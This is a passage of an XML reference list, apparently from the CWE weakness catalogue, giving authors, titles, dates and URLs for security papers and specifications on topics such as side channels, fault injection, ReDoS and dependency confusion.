			<Publication_Month>--09</Publication_Month>
			<Publication_Day>---26</Publication_Day>
			<URL>https://www.chromium.org/updates/same-site/</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-1107">
			<Author>Intel Corporation</Author>
			<Title>PCIe Device Measurement Requirements</Title>
			<Publication_Year>2018</Publication_Year>
			<Publication_Month>--09</Publication_Month>
			<URL>https://www.intel.com/content/dam/www/public/us/en/documents/reference-guides/pcie-device-security-enhancements.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1108">
			<Author>Intel Corporation</Author>
			<Title>Deep Dive: Retpoline: A Branch Target Injection Mitigation</Title>
			<URL>https://www.intel.com/content/www/us/en/developer/topic-technology/software-security-guidance/overview.html</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-1109">
			<Title>LANGSEC: Language-theoretic Security</Title>
			<URL>http://langsec.org/</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1110">
			<Title>LangSec: Recognition, Validation, and Compositional Correctness for Real World Security</Title>
			<URL>http://langsec.org/bof-handout.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1111">
			<Author>Sergey Bratus</Author>
			<Author>Lars Hermerschmidt</Author>
			<Author>Sven M. Hallberg</Author>
			<Author>Michael E. Locasto</Author>
			<Author>Falcon D. Momot</Author>
			<Author>Meredith L. Patterson</Author>
			<Author>Anna Shubina</Author>
			<Title>Curing the Vulnerable Parser: Design Patterns for Secure Input Handling</Title>
			<Publication>USENIX ;login:</Publication>
			<Publication_Year>2017</Publication_Year>
			<URL>https://www.usenix.org/system/files/login/articles/login_spring17_08_bratus.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1112">
			<Title>Android Security Bulletin - December 2018</Title>
			<URL>https://source.android.com/security/bulletin/2018-12-01.html</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-1113">
			<Author>Muhammad Yasin</Author>
			<Author>Abhrajit  Sengupta</Author>
			<Author>Mohammed Thari Nabeel</Author>
			<Author>Mohammed  Ashraf</Author>
			<Author>Jeyavijayan (JV) Rajendran</Author>
			<Author>Ozgur  Sinanoglu</Author>
			<Title>Provably-Secure Logic Locking: From Theory To Practice</Title>
			<URL>https://dl.acm.org/doi/10.1145/3133956.3133985</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-1114">
			<Author>Muhammad Yasin</Author>
			<Author>Jeyavijayan (JV) Rajendran</Author>
			<Author>Ozgur  Sinanoglu</Author>
			<Title>Trustworthy Hardware Design: Combinational Logic Locking Techniques</Title>
			<URL>https://link.springer.com/book/10.1007/978-3-030-15334-2</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-1115">
			<Author>Meher Krishna Patel</Author>
			<Title>FPGA designs with Verilog (section 7.4 Glitches)</Title>
			<URL>https://verilogguide.readthedocs.io/en/latest/verilog/fsm.html</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1116">
			<Author>Clifford E. Cummings</Author>
			<Title>Non-Blocking Assignments in Verilog Synthesis, Coding Styles that Kill!</Title>
			<Publication_Year>2000</Publication_Year>
			<URL>http://www.sunburst-design.com/papers/CummingsSNUG2000SJ_NBA.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1117">
			<Author>Paul Kocher</Author>
			<Author>Joshua Jaffe</Author>
			<Author>Benjamin Jun</Author>
			<Title>Introduction to differential power analysis and related attacks</Title>
			<Publication_Year>1998</Publication_Year>
			<URL>https://www.rambus.com/wp-content/uploads/2015/08/DPATechInfo.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1118">
			<Author>Dakshi Agrawal</Author>
			<Author>Bruce Archambeault</Author>
			<Author>Josyula R. Rao</Author>
			<Author>Pankaj Rohatgi</Author>
			<Title>The EM Side-Channel(s)</Title>
			<Publication_Year>2007</Publication_Year>
			<Publication_Month>--08</Publication_Month>
			<Publication_Day>---24</Publication_Day>
			<URL>https://link.springer.com/content/pdf/10.1007/3-540-36400-5_4.pdf</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-1119">
			<Author>Daniel Genkin</Author>
			<Author>Adi Shamir</Author>
			<Author>Eran Tromer</Author>
			<Title>RSA key extraction via low-bandwidth acoustic cryptanalysis</Title>
			<Publication_Year>2014</Publication_Year>
			<Publication_Month>--06</Publication_Month>
			<Publication_Day>---13</Publication_Day>
			<URL>https://www.iacr.org/archive/crypto2014/86160149/86160149.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1120">
			<Author>Colin O'Flynn</Author>
			<Title>Power Analysis for Cheapskates</Title>
			<Publication_Year>2013</Publication_Year>
			<Publication_Month>--01</Publication_Month>
			<Publication_Day>---24</Publication_Day>
			<URL>https://media.blackhat.com/eu-13/briefings/OFlynn/bh-eu-13-for-cheapstakes-oflynn-wp.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1121">
			<Author>Moritz Lipp</Author>
			<Author>Michael Schwarz</Author>
			<Author>Daniel Gruss</Author>
			<Author>Thomas Prescher</Author>
			<Author>Werner Haas</Author>
			<Author>Anders Fogh</Author>
			<Author>Jann Horn</Author>
			<Author>Stegfan Mangard</Author>
			<Author>Paul Kocher</Author>
			<Author>Daniel Genkin</Author>
			<Author>Yuval Yarom</Author>
			<Author>Mike Hamberg</Author>
			<Title>Meltdown: Reading Kernel Memory from User Space</Title>
			<Publication_Year>2018</Publication_Year>
			<Publication_Month>--01</Publication_Month>
			<Publication_Day>---03</Publication_Day>
			<URL>https://meltdownattack.com/meltdown.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1122">
			<Author>Moritz Lipp</Author>
			<Author>Michael Schwarz</Author>
			<Author>Daniel Gruss</Author>
			<Author>Thomas Prescher</Author>
			<Author>Werner Haas</Author>
			<Author>Anders Fogh</Author>
			<Author>Jann Horn</Author>
			<Author>Stegfan Mangard</Author>
			<Author>Paul Kocher</Author>
			<Author>Daniel Genkin</Author>
			<Author>Yuval Yarom</Author>
			<Author>Mike Hamberg</Author>
			<Title>Spectre Attacks: Exploiting Speculative Execution</Title>
			<Publication_Year>2018</Publication_Year>
			<Publication_Month>--01</Publication_Month>
			<Publication_Day>---03</Publication_Day>
			<URL>https://spectreattack.com/spectre.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1123">
			<Author>Dmitry Evtyushkin</Author>
			<Author>Dmitry Ponomarev</Author>
			<Author>Nael Abu-Ghazaleh</Author>
			<Title>Jump Over ASLR: Attacking Branch Predictors to Bypass ASLR</Title>
			<Publication_Year>2016</Publication_Year>
			<Publication_Month>--10</Publication_Month>
			<Publication_Day>---19</Publication_Day>
			<URL>https://ieeexplore.ieee.org/abstract/document/7783743/</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1124">
			<Author>Qian Ge</Author>
			<Author>Yuval Yarom</Author>
			<Author>David Cock</Author>
			<Author>Gernot Heiser</Author>
			<Title>A Survey of Microarchitectural Timing Attacks and Countermeasures on Contemporary Hardware</Title>
			<Publication_Year>2016</Publication_Year>
			<Publication_Month>--10</Publication_Month>
			<Publication_Day>---24</Publication_Day>
			<URL>https://eprint.iacr.org/2016/613.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1125">
			<Author>moparisthebest</Author>
			<Title>Validation Vulnerabilities</Title>
			<Publication_Year>2015</Publication_Year>
			<Publication_Month>--06</Publication_Month>
			<Publication_Day>---05</Publication_Day>
			<URL>https://mailarchive.ietf.org/arch/msg/acme/s6Q5PdJP48LEUwgzrVuw_XPKCsM/</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1126">
			<Author>Josh Aas</Author>
			<Author>Daniel McCarney</Author>
			<Author>Roland Shoemaker</Author>
			<Title>Multi-Perspective Validation Improves Domain Validation Security</Title>
			<Publication_Year>2020</Publication_Year>
			<Publication_Month>--02</Publication_Month>
			<Publication_Day>---19</Publication_Day>
			<URL>https://letsencrypt.org/2020/02/19/multi-perspective-validation.html</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1127">
			<Author>Miguel Castro</Author>
			<Author>Barbara Liskov</Author>
			<Title>Practical Byzantine Fault Tolerance and Proactive Recovery</Title>
			<Publication_Year>2002</Publication_Year>
			<Publication_Month>--11</Publication_Month>
			<Publication_Day>---04</Publication_Day>
			<URL>https://dl.acm.org/doi/pdf/10.1145/571637.571640</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-1128">
			<Author>Stephan van Schaik</Author>
			<Author>Cristiano Giuffrida</Author>
			<Author>Herbert Bos</Author>
			<Author>Kaveh Razavi</Author>
			<Title>Malicious Management Unit: Why Stopping Cache Attacks in Software is Harder Than You Think</Title>
			<Publication_Year>2018</Publication_Year>
			<Publication_Month>--08</Publication_Month>
			<Publication_Day>---15</Publication_Day>
			<URL>https://www.usenix.org/system/files/conference/usenixsecurity18/sec18-van_schaik.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1129">
			<Author>Christopher Tarnovsky</Author>
			<Title>Security Failures In Secure Devices</Title>
			<Publication_Year>2008</Publication_Year>
			<Publication_Month>--02</Publication_Month>
			<Publication_Day>---21</Publication_Day>
			<URL>https://www.blackhat.com/presentations/bh-dc-08/Tarnovsky/Presentation/bh-dc-08-tarnovsky.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1130">
			<Author>Mark Ermolov, Positive Technologies</Author>
			<Title>Intel x86 Root of Trust: loss of trust</Title>
			<Publication_Year>2020</Publication_Year>
			<Publication_Month>--03</Publication_Month>
			<Publication_Day>---05</Publication_Day>
			<URL>https://blog.ptsecurity.com/2020/03/intelx86-root-of-trust-loss-of-trust.html</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1131">
			<Author>John Butterworth</Author>
			<Author>Cory Kallenberg</Author>
			<Author>Xeno Kovah</Author>
			<Title>BIOS Chronomancy: Fixing the Core Root of Trust for Measurement</Title>
			<Publication_Year>2013</Publication_Year>
			<Publication_Month>--07</Publication_Month>
			<Publication_Day>---31</Publication_Day>
			<URL>https://media.blackhat.com/us-13/US-13-Butterworth-BIOS-Security-Slides.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1132">
			<Title>2020 CWE Top 25 Most Dangerous Software Weaknesses</Title>
			<Publication_Year>2020</Publication_Year>
			<Publication_Month>--08</Publication_Month>
			<Publication_Day>---20</Publication_Day>
			<URL>http://cwe.mitre.org/top25/archive/2020/2020_cwe_top25.html</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1133">
			<Author>Consortium for Information &amp; Software Quality (CISQ)</Author>
			<Title>Automated Source Code Quality Measures</Title>
			<Publication_Year>2020</Publication_Year>
			<URL>https://www.omg.org/spec/ASCQM/</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1134">
			<Author>Taku Izumi, Fujitsu Limited</Author>
			<Title>Address Range Memory Mirroring</Title>
			<Publication_Year>2016</Publication_Year>
			<URL>https://www.fujitsu.com/jp/documents/products/software/os/linux/catalog/LinuxConJapan2016-Izumi.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1135">
			<Author>Benoit Morgan, Eric Alata, Vincent Nicomette, Mohamed Kaaniche</Author>
			<Title>Bypassing IOMMU Protection against I/O Attacks</Title>
			<Publication_Year>2016</Publication_Year>
			<URL>https://hal.archives-ouvertes.fr/hal-01419962/document</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1136">
			<Author>Colin L. Rothwell</Author>
			<Title>Exploitation from malicious PCI Express peripherals</Title>
			<Publication_Year>2019</Publication_Year>
			<URL>https://www.cl.cam.ac.uk/techreports/UCAM-CL-TR-934.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1137">
			<Author>Yuriy Bulygin, Oleksandr Bazhaniuk, Andrew Furtak, John Loucaides, Mikhail Gorobets</Author>
			<Title>BARing the System - New vulnerabilities in Coreboot &amp; UEFI-based Systems</Title>
			<Publication_Year>2017</Publication_Year>
			<URL>https://www.c7zero.info/stuff/REConBrussels2017_BARing_the_system.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1138">
			<Author>Stewart Smith</Author>
			<Title>CVE-2019-6260: Gaining control of BMC from the host processor</Title>
			<Publication_Year>2019</Publication_Year>
			<URL>https://www.flamingspork.com/blog/2019/01/23/cve-2019-6260:-gaining-control-of-bmc-from-the-host-processor/</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1139">
			<Author>ARM</Author>
			<Title>AMBA APB Protocol Specification, Version 2.0</Title>
			<Publication_Year>2010</Publication_Year>
			<URL>https://www.eecs.umich.edu/courses/eecs373/readings/IHI0024C_amba_apb_protocol_spec.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1140">
			<Author>OCP-IP</Author>
			<Title>Open Core Protocol Specification, Release 2.2</Title>
			<Publication_Year>2006</Publication_Year>
			<URL>http://read.pudn.com/downloads95/doc/388103/OCPSpecification%202.2.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1141">
			<Author>Marc Witteman</Author>
			<Title>Secure Application Programming in the presence of Side Channel Attacks</Title>
			<Publication_Year>2017</Publication_Year>
			<URL>https://riscureprodstorage.blob.core.windows.net/production/2017/08/Riscure_Whitepaper_Side_Channel_Patterns.pdf</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-1142">
			<Author>A. Dehbaoui, J. M. Dutertre, B. Robisson, P. Orsatelli, P. Maurine, A. Tria</Author>
			<Title>Injection of transient faults using electromagnetic pulses. Practical results on a cryptographic system</Title>
			<Publication_Year>2012</Publication_Year>
			<URL>https://eprint.iacr.org/2012/123.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1143">
			<Author>A. Menu, S. Bhasin, J. M. Dutertre, J. B. Rigaud, J. Danger</Author>
			<Title>Precise Spatio-Temporal Electromagnetic Fault Injections on Data Transfers</Title>
			<Publication_Year>2019</Publication_Year>
			<URL>https://hal.telecom-paris.fr/hal-02338456/document</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1144">
			<Author>Colin O'Flynn</Author>
			<Title>BAM BAM!! On Reliability of EMFI for in-situ Automotive ECU Attacks</Title>
			<URL>https://eprint.iacr.org/2020/937.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1145">
			<Author>J. Balasch, D. Arum&#237;, S. Manich</Author>
			<Title>Design and Validation of a Platform for Electromagnetic Fault Injection</Title>
			<URL>https://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&amp;arnumber=8311630</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1146">
			<Author>M. Gay, B. Karp, O. Keren, I. Polian</Author>
			<Title>Error control scheme for malicious and natural faults in cryptographic modules</Title>
			<Publication_Year>2019</Publication_Year>
			<URL>https://link.springer.com/content/pdf/10.1007/s13389-020-00234-7.pdf</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-1147">
			<Author>M. L. Akkar, L. Goubin, O. Ly</Author>
			<Title>Automatic Integration of Counter-Measures Against Fault Injection Attacks</Title>
			<URL>https://www.labri.fr/perso/ly/publications/cfed.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1148">
			<Author>Olivier Arteau</Author>
			<Title>Prototype pollution attack in NodeJS application</Title>
			<Publication_Year>2018</Publication_Year>
			<Publication_Month>--05</Publication_Month>
			<Publication_Day>---15</Publication_Day>
			<URL>https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1149">
			<Author>Changhui Xu</Author>
			<Title>What is Prototype Pollution?</Title>
			<Publication_Year>2019</Publication_Year>
			<Publication_Month>--07</Publication_Month>
			<Publication_Day>---30</Publication_Day>
			<URL>https://codeburst.io/what-is-prototype-pollution-49482fc4b638</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1150">
			<Author>Jerry Backer</Author>
			<Author>David Hely</Author>
			<Author>Ramesh Karri</Author>
			<Title>Secure design-for-debug for Systems-on-Chip</Title>
			<Publication_Year>2015</Publication_Year>
			<Publication_Month>--10</Publication_Month>
			<Publication_Day>---06</Publication_Day>
			<URL>https://ieeexplore.ieee.org/document/7342418</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1151">
			<Author>Jerry Backer</Author>
			<Author>David Hely</Author>
			<Author>Ramesh Karri</Author>
			<Title>Secure and Flexible Trace-Based Debugging of Systems-on-Chip</Title>
			<Publication_Year>2016</Publication_Year>
			<Publication_Month>--12</Publication_Month>
			<URL>https://dl.acm.org/doi/pdf/10.1145/2994601</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-1152">
			<Author>Trusted Computing Group</Author>
			<Title>TCG Roots of Trust Specification</Title>
			<Publication_Year>2018</Publication_Year>
			<Publication_Month>--07</Publication_Month>
			<URL>https://trustedcomputinggroup.org/wp-content/uploads/TCG_Roots_of_Trust_Specification_v0p20_PUBLIC_REVIEW.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1153">
			<Author>GlobalPlatform Security Task Force</Author>
			<Title>Root of Trust Definitions and Requirements</Title>
			<Publication_Year>2017</Publication_Year>
			<Publication_Month>--03</Publication_Month>
			<URL>https://globalplatform.org/wp-content/uploads/2018/06/GP_RoT_Definitions_and_Requirements_v1.0.1_PublicRelease_CC.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1154">
			<Author>National Institute of Standards and Technology</Author>
			<Title>NIST Special Publication 800-88 Revision 1: Guidelines for Media Sanitization</Title>
			<Publication_Year>2014</Publication_Year>
			<Publication_Month>--12</Publication_Month>
			<URL>https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-88r1.pdf</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-1155">
			<Author>Hassan M. G. Wassel, Ying Gao, Jason K. Oberg, Tedd Huffmire, Ryan Kastner, Frederic T. Chong, Timothy Sherwood</Author>
			<Title>SurfNoC: A Low Latency and Provably Non-Interfering Approach to Secure Networks-On-Chip</Title>
			<Publication_Year>2013</Publication_Year>
			<URL>http://cseweb.ucsd.edu/~kastner/papers/isca13-surfNOC.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1156">
			<Author>Leonid Grustniy</Author>
			<Title>Loapi--This Trojan is hot!</Title>
			<Publication_Year>2017</Publication_Year>
			<Publication_Month>--12</Publication_Month>
			<URL>https://www.kaspersky.com/blog/loapi-trojan/20510/</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1157">
			<Author>Consortium for Information &amp; Software Quality (CISQ)</Author>
			<Title>AUTOMATED SOURCE CODE MEASURE FOR DATA PROTECTION</Title>
			<Publication_Year>2020</Publication_Year>
			<URL>https://www.it-cisq.org/automated-source-code-measure-data-protection/index.htm</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1158">
			<Author>Akond Rahman</Author>
			<Author>Md Rayhanur Rahman</Author>
			<Author>Chris Parnin</Author>
			<Author>Laurie Williams</Author>
			<Title>Security Smells in Ansible and Chef Scripts: A Replication Study</Title>
			<Publication_Year>2020</Publication_Year>
			<Publication_Month>--06</Publication_Month>
			<Publication_Day>---20</Publication_Day>
			<URL>https://arxiv.org/pdf/1907.07159.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1159">
			<Author>Akond Rahman</Author>
			<Author>Chris Parnin</Author>
			<Author>Laurie Williams</Author>
			<Title>The Seven Sins: Security Smells in Infrastructure as Code Scripts</Title>
			<Publication>ICSE '19: Proceedings of the 41st International Conference on Software Engineering</Publication>
			<Publication_Year>2019</Publication_Year>
			<Publication_Month>--05</Publication_Month>
			<URL>https://dl.acm.org/doi/10.1109/ICSE.2019.00033</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-1161">
			<Author>Josep Balasch</Author>
			<Author>Benedikt Gierlichs</Author>
			<Author>Ingrid Verbauwhede</Author>
			<Title>An In-depth and Black-box Characterization of the Effects of Clock Glitches on 8-bit MCUs</Title>
			<Publication>2011 Workshop on Fault Diagnosis and Tolerance in Cryptography (IEEE)</Publication>
			<Publication_Year>2011</Publication_Year>
			<Publication_Month>--09</Publication_Month>
			<URL>https://ieeexplore.ieee.org/document/6076473</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1162">
			<Author>Jan Goyvaerts</Author>
			<Title>Runaway Regular Expressions: Catastrophic Backtracking</Title>
			<Publication_Year>2019</Publication_Year>
			<Publication_Month>--12</Publication_Month>
			<Publication_Day>---22</Publication_Day>
			<URL>https://www.regular-expressions.info/catastrophic.html</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1163">
			<Author>Adar Weidman</Author>
			<Title>Regular expression Denial of Service - ReDoS</Title>
			<URL>https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1164">
			<Author>Ilya Kantor</Author>
			<Title>Catastrophic backtracking</Title>
			<Publication_Year>2020</Publication_Year>
			<Publication_Month>--12</Publication_Month>
			<Publication_Day>---13</Publication_Day>
			<URL>https://javascript.info/regexp-catastrophic-backtracking</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1165">
			<Author>Cristian-Alexandru Staicu</Author>
			<Author>Michael Pradel</Author>
			<Title>Freezing the Web: A Study of ReDoS Vulnerabilities in JavaScript-based Web Servers</Title>
			<Publication>USENIX Security Symposium</Publication>
			<Publication_Year>2018</Publication_Year>
			<Publication_Month>--07</Publication_Month>
			<Publication_Day>---11</Publication_Day>
			<URL>https://www.usenix.org/system/files/conference/usenixsecurity18/sec18-staicu.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1166">
			<Author>James C. Davis</Author>
			<Author>Christy A. Coghlan</Author>
			<Author>Francisco Servant</Author>
			<Author>Dongyoon Lee</Author>
			<Title>The Impact of Regular Expression Denial of Service (ReDoS) in Practice: An Empirical Study at the Ecosystem Scale</Title>
			<Publication_Year>2018</Publication_Year>
			<Publication_Month>--08</Publication_Month>
			<Publication_Day>---01</Publication_Day>
			<URL>https://fservant.github.io/papers/Davis_Coghlan_Servant_Lee_ESECFSE18.pdf</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-1167">
			<Author>James Davis</Author>
			<Title>The Regular Expression Denial of Service (ReDoS) cheat-sheet</Title>
			<Publication_Year>2020</Publication_Year>
			<Publication_Month>--05</Publication_Month>
			<Publication_Day>---23</Publication_Day>
			<URL>https://levelup.gitconnected.com/the-regular-expression-denial-of-service-redos-cheat-sheet-a78d0ed7d865</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1168">
			<Author>Catalin Cimpanu</Author>
			<Title>Microsoft warns enterprises of new 'dependency confusion' attack technique</Title>
			<Publication>ZDNet</Publication>
			<Publication_Year>2021</Publication_Year>
			<Publication_Month>--02</Publication_Month>
			<Publication_Day>---10</Publication_Day>
			<URL>https://www.zdnet.com/article/microsoft-warns-enterprises-of-new-dependency-confusion-attack-technique/</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1169">
			<Author>Alex Birsan</Author>
			<Title>Dependency Confusion: How I Hacked Into Apple, Microsoft and Dozens of Other Companies</Title>
			<Publication_Year>2021</Publication_Year>
			<Publication_Month>--02</Publication_Month>
			<Publication_Day>---09</Publication_Day>
			<URL>https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1170">
			<Author>Microsoft</Author>
			<Title>3 Ways to Mitigate Risk When Using Private Package Feeds</Title>
			<Publication_Year>2021</Publication_Year>
			<Publication_Month>--02</Publication_Month>
			<Publication_Day>---09</Publication_Day>
			<URL>https://azure.microsoft.com/mediahandler/files/resourcefiles/3-ways-to-mitigate-risk-using-private-package-feeds/3%20Ways%20to%20Mitigate%20Risk%20When%20Using%20Private%20Package%20Feeds%20-%20v1.0.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1171">
			<Author>Matthew Green</Author>
			<Title>Why IND-CPA implies randomized encryption</Title>
			<Publication_Year>2018</Publication_Year>
			<Publication_Month>--08</Publication_Month>
			<Publication_Day>---24</Publication_Day>
			<URL>https://blog.cryptographyengineering.com/why-ind-cpa-implies-randomized-encryption/</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1172">
			<Author>NIST</Author>
			<Title>Recommendation for Block Cipher Modes of Operation</Title>
			<Publication_Year>2001</Publication_Year>
			<Publication_Month>--12</Publication_Month>
			<URL>https://nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-38a.pdf</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-1173">
			<Author>Wikipedia</Author>
			<Title>Block cipher mode of operation</Title>
			<Publication_Year>2021</Publication_Year>
			<Publication_Month>--03</Publication_Month>
			<Publication_Day>---03</Publication_Day>
			<URL>https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1174">
			<Author>Wikipedia</Author>
			<Title>File:Tux ecb.jpg</Title>
			<Publication_Year>2006</Publication_Year>
			<Publication_Month>--05</Publication_Month>
			<Publication_Day>---20</Publication_Day>
			<URL>https://commons.wikimedia.org/wiki/File:Tux_ecb.jpg</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1175">
			<Author>Nikita Borisov</Author>
			<Author>Ian Goldberg</Author>
			<Author>David Wagner</Author>
			<Title>Intercepting Mobile Communications: The Insecurity of 802.11</Title>
			<Publication>Proceedings of the Seventh Annual International Conference on Mobile Computing And Networking</Publication>
			<Publication_Year>2001</Publication_Year>
			<Publication_Month>--07</Publication_Month>
			<Publisher>ACM</Publisher>
			<URL>http://www.isaac.cs.berkeley.edu/isaac/mobicom.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1176">
			<Author>Wikipedia</Author>
			<Title>Birthday problem</Title>
			<Publication_Year>2021</Publication_Year>
			<Publication_Month>--03</Publication_Month>
			<Publication_Day>---06</Publication_Day>
			<URL>https://en.wikipedia.org/wiki/Birthday_problem</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1177">
			<Author>Wikipedia</Author>
			<Title>Initialization Vector</Title>
			<Publication_Year>2021</Publication_Year>
			<Publication_Month>--03</Publication_Month>
			<Publication_Day>---08</Publication_Day>
			<URL>https://en.wikipedia.org/wiki/Initialization_vector</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1178">
			<Author>NIST</Author>
			<Title>Recommendation for Block Cipher Modes of Operation: Galois/Counter Mode (GCM) and GMAC</Title>
			<Publication_Year>2007</Publication_Year>
			<Publication_Month>--11</Publication_Month>
			<URL>https://nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-38d.pdf</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-1179">
			<Author>Arxum Path Security</Author>
			<Title>CBC Mode is Malleable. Don't trust it for Authentication</Title>
			<Publication_Year>2019</Publication_Year>
			<Publication_Month>--10</Publication_Month>
			<Publication_Day>---16</Publication_Day>
			<URL>https://arxumpathsecurity.com/blog/2019/10/16/cbc-mode-is-malleable-dont-trust-it-for-authentication</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-1180">
			<Author>Scott A. Crosby</Author>
			<Title>Regular Expression Denial of Service</Title>
			<Publication_Year>2003</Publication_Year>
			<Publication_Month>--08</Publication_Month>
			<URL>https://web.archive.org/web/20031120114522/http://www.cs.rice.edu/~scrosby/hash/slides/USENIX-RegexpWIP.2.ppt</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1181">
			<Author>Nikolaos Athanasios Anagnostopoulos</Author>
			<Author>Tolga Arul</Author>
			<Author>Markus Rosenstihl</Author>
			<Author>Andr&#233; Schaller</Author>
			<Author>Sebastian Gabmeyer</Author>
			<Author>Stefan Katzenbeisser</Author>
			<Title>Low-Temperature Data Remnanence Attacks Against Intrinsic SRAM PUFs</Title>
			<Publication_Year>2018</Publication_Year>
			<Publication_Month>--10</Publication_Month>
			<Publication_Day>---15</Publication_Day>
			<URL>https://ieeexplore.ieee.org/abstract/document/8491873/</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1182">
			<Author>Yuan Cao</Author>
			<Author>Yunyi Guo</Author>
			<Author>Benyu Liu</Author>
			<Author>Wei Ge</Author>
			<Author>Min Zhu</Author>
			<Author>Chip-Hong Chang</Author>
			<Title>A Fully Digital Physical Unclonable Function Based Temperature Sensor for Secure Remote Sensing</Title>
			<Publication_Year>2018</Publication_Year>
			<Publication_Month>--10</Publication_Month>
			<Publication_Day>---11</Publication_Day>
			<URL>https://ieeexplore.ieee.org/abstract/document/8487347/</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1183">
			<Author> Urbi Chatterjee</Author>
			<Author> Soumi Chatterjee</Author>
			<Author> Debdeep Mukhopadhyay</Author>
			<Author> Rajat Subhra Chakraborty</Author>
			<Title>Machine Learning Assisted PUF Calibration for Trustworthy Proof of Sensor Data in IoT</Title>
			<Publication_Year>2020</Publication_Year>
			<Publication_Month>--06</Publication_Month>
